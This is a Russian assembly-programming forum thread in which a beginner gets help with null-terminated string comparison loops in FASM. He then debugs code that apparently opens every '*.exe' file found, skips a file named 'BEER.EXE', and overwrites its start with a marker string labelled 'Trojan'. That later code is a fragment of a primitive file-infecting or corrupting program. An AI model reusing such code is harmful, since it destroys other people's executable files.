Сравнение строк

Тема в разделе "WASM.BEGINNERS", создана пользователем ukrlanser, 31 май 2010.

  1. ukrlanser

    ukrlanser New Member

    Публикаций:
    0
    Регистрация:
    26 сен 2008
    Сообщения:
    22
    Добрый день форумчане!
    Есть такой код:


    push Droza_name
    pop esi
    push sr.cFileName
    pop edi
    mov ecx,5
    repe cmpsb
    je exit

    Droza_name и sr.cFileName содержат названия файлов. Нужно их сравнить и если это разные файлы, то прыгнуть дальше. Порылся в гугле, написал вот такой корявый код. Вроде работает.
    Вопрос в следующем: если я правильно понял, то в ecx содержится длина проверяемых символов имени файла.
    Поскольку sr.cFileName всегда _различное_ имя, как определить длину, загоняемую в ecx?
    Спасибо!
     
  2. Rockphorr

    Rockphorr Well-Known Member

    Публикаций:
    0
    Регистрация:
    9 июн 2004
    Сообщения:
    2.625
    Адрес:
    Russia
    ukrlanser

    циклом пока - сравнивать пока не встретился завершающий ноль или различный символ
     
  3. Mikl___

    Mikl___ Супермодератор Команда форума

    Публикаций:
    14
    Регистрация:
    25 июн 2008
    Сообщения:
    3.890
    ukrlanser
    Вопрос в том какие у тебя строки?
    а) строки в DOS-стиле оканчивались знаком "$"
    б) строки в С-стиле заканчиваются 0
    в) Pascal-строки в первом байте содержат длину строки, поэтому длина такой строки не может быть больше 255
    г) строки Wide-pascal содержат длину строки в двух первых байтах (длина строки до 65 тысяч символов)
    д) Delphi-строки содержат длину строки в четырех первых байтах
    е) Unicode-строки заканчиваются символом двойного нуля
    ж) Unicode-Pascal-строки двух первых байтах содержат длину строки
    з) Unicode-Wide-pascal строки содержат длину строки в четырех первых байтах
    и) пользователь сам может определить чем должна заканчиваться его строка
    От этого и пляшешь
     
  4. Rockphorr

    Rockphorr Well-Known Member

    Публикаций:
    0
    Регистрация:
    9 июн 2004
    Сообщения:
    2.625
    Адрес:
    Russia
    Mikl___
    практически не встречается - теоретически очень редко и то для вывода сообщений имена в досе писались в аскизю
     
  5. ukrlanser

    ukrlanser New Member

    Публикаций:
    0
    Регистрация:
    26 сен 2008
    Сообщения:
    22
    FileName db '*.exe',0
    Droza_name db 'BEER.EXE',0

    То есть если первые символы не совпадают, то можно смело прыгать дальше. А если совпадают, то jmp на начало цикла. А как установить для дальнейшего сравнения вторые символы строк (что-то типа [Droza_name+2]? Пишу на фасме, только начал изучать этот язык, поэтому немного путаюсь.
    Заранее спасибо!
     
  6. Mikl___

    Mikl___ Супермодератор Команда форума

    Публикаций:
    14
    Регистрация:
    25 июн 2008
    Сообщения:
    3.890
    ukrlanser
    С-строки заканчиваются нулем
    Код (Text):
    1.       mov edi,offset FileName
    2.       mov esi,offset Droza_name
    3.       or ecx,-1;
    4. @@: lodsb; mov al,[esi]   esi++
    5.       test al,al; проверяем на нулевой символ
    6.      jz exit; строка Droza_name закончилась
    7.       cmp al,[edi]
    8.       jnz несовпали_строки
    9.       inc edi
    10.       loop @b
     
  7. Rockphorr

    Rockphorr Well-Known Member

    Публикаций:
    0
    Регистрация:
    9 июн 2004
    Сообщения:
    2.625
    Адрес:
    Russia
    Код (Text):
    1. push Droza_name
    2. pop  esi
    3. push sr.cFileName
    4. pop  edi
    5. mov  ecx,5
    6. repe cmpsb
    7. je   exit
    я сомневаюсь в работоспособности этого кода

    Код (Text):
    1. lea esi, Droza_name
    2. lea edi,sr.cFileName
    3. cmpsb
    4. jne   break
    5. cmp ds:byte ptr [esi],0
    6. je break
    7. cmp es:byte ptr [edi],0
    8. je break
    9. ...
     
  8. Mikl___

    Mikl___ Супермодератор Команда форума

    Публикаций:
    14
    Регистрация:
    25 июн 2008
    Сообщения:
    3.890
    ukrlanser
    Не дочитал до конца, в #6 синтаксис masm'а для Fasm будет вот так
    Код (Text):
    1. mov edi,FileName
    2.       mov esi,Droza_name
    3.       or ecx,-1; максимально большая длина строки, чтобы не "парится" с ее вычислением
    4. @@: lodsb; mov al,[esi]   esi++
    5.       test al,al; проверяем на нулевой символ
    6.      jz exit; строка Droza_name закончилась
    7.       cmp al,[edi]
    8.       jnz несовпали_строки
    9.       inc edi
    10.       loop @b
    11. exit: cmp byte [edi],0
    12.        jnz строка_FileName_длинее_чем_Droza_name
    13. полное_совпадение_строк: ....
    14. строка_FileName_длинее_чем_Droza_name: ....
    15. несовпали_строки: ....
     
  9. ukrlanser

    ukrlanser New Member

    Публикаций:
    0
    Регистрация:
    26 сен 2008
    Сообщения:
    22
    Спасибо огромное!
    Сработал такой код:

    push Droza_name
    pop esi
    push sr.cFileName
    pop edi
    or ecx,-1;
    @@: lodsb; mov al,[esi] esi++
    test al,al;
    jz exit;
    cmp al,[edi]
    jnz next
    inc edi
    loop @b
     
  10. Mikl___

    Mikl___ Супермодератор Команда форума

    Публикаций:
    14
    Регистрация:
    25 июн 2008
    Сообщения:
    3.890
    Rockphorr
    с cmpsb можно использовать префикс rep но в ecx нужно положить какое нибудь значение
    можно искать ноль в одной из строк при помощи mov al,0 / rep scasb а затем перейти к rep cmpsb вариантов куча, стоит воспользоваться поиском на WASM.RU/FORUM
     
  11. Mikl___

    Mikl___ Супермодератор Команда форума

    Публикаций:
    14
    Регистрация:
    25 июн 2008
    Сообщения:
    3.890
    ukrlanser
    Код (Text):
    1. push Droza_name
    2.          pop  esi
    3.         push sr.cFileName
    4.          pop  edi
    5.          or ecx,-1;
    6.          @@: lodsb
    7.          cmp al,[edi]
    8.          jnz несовпали
    9.          inc edi
    10.          test al,al;
    11.          loopnz @b
     
  12. ukrlanser

    ukrlanser New Member

    Публикаций:
    0
    Регистрация:
    26 сен 2008
    Сообщения:
    22
    Всем огромное спасибо!
     
  13. Mikl___

    Mikl___ Супермодератор Команда форума

    Публикаций:
    14
    Регистрация:
    25 июн 2008
    Сообщения:
    3.890
    Самый короткий вариант для сравнения строк
    Код (Text):
    1.          or ecx,-1
    2. @@: lodsb
    3.     scasb
    4.     jne строки_не_совпали
    5.     test al,al
    6.     loopnz @b
    7. строки_совпали: ...
    8. строки_не_совпали: ...
     
  14. Rockphorr

    Rockphorr Well-Known Member

    Публикаций:
    0
    Регистрация:
    9 июн 2004
    Сообщения:
    2.625
    Адрес:
    Russia
    бесспорно, но обычно rep и cmpsb это measure_string
     
  15. ukrlanser

    ukrlanser New Member

    Публикаций:
    0
    Регистрация:
    26 сен 2008
    Сообщения:
    22
    Прошу прощения, но новую тему создавать не хочется. Спрошу в этой.

    Есть такой код:


    Trojan db 'VSEMPRIVET',0
    FileHandle dd ?


    invoke CreateFileA, sr.cFileName, GENERIC_WRITE or GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0
    cmp eax, INVALID_HANDLE_VALUE
    je exit
    mov [FileHandle],eax
    invoke WriteFile,[FileHandle],Trojan,10,NULL,NULL

    Компилируется нормально, но при запуске writefile прыгает непонятно куда... Или показывает ошибку invalid_handle. В MSDN путевого ничего не нашел. Где моя ошибка?
     
  16. ohne

    ohne New Member

    Публикаций:
    0
    Регистрация:
    28 фев 2009
    Сообщения:
    431
    WriteFile
     
  17. ukrlanser

    ukrlanser New Member

    Публикаций:
    0
    Регистрация:
    26 сен 2008
    Сообщения:
    22
    Спасибо! Заменил NULL на указатель на размер! Пашет как часы!
     
  18. ukrlanser

    ukrlanser New Member

    Публикаций:
    0
    Регистрация:
    26 сен 2008
    Сообщения:
    22
    Извиняюсь за назойливость и глупые вопросы, но...

    invoke WriteFileA,[FileHandle],Trojan,10,Trojan_len,NULL
    invoke CloseHandle,[FileHandle]

    При вызове closehandle программа улетает неизвестно куда, хотя перепроверил по 10 исходникам в инете. Код слово в слово. Что я неправильно сделал?
     
  19. Clerk

    Clerk Забанен

    Публикаций:
    0
    Регистрация:
    4 янв 2008
    Сообщения:
    6.689
    Адрес:
    РБ, Могилёв
    ukrlanser
    При закрытии инвалидного описателя ядро генерит пользовательский сепшен, передавая управление на KiRaiseUserExceptionDispatcher(), где далее доставляется #STATUS_INVALID_HANDLE. Без отладочного порта сепшена не будет, сервис непосредственно вернёт этот статус. У вас вероятно #AV, вызывает сомнение выражение [FileHandle]..
     
  20. ukrlanser

    ukrlanser New Member

    Публикаций:
    0
    Регистрация:
    26 сен 2008
    Сообщения:
    22
    Что Вы имеете ввиду "вызывает сомнение"? Определение FileHandle или работа с ним?



    FileHandle dd ?

    invoke CreateFileA, sr.cFileName, GENERIC_WRITE or GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0
    cmp eax, INVALID_HANDLE_VALUE
    je exit
    mov [FileHandle],eax
    invoke WriteFileA,[FileHandle],Trojan,10,Trojan_len,NULL
    invoke CloseHandle,[FileHandle]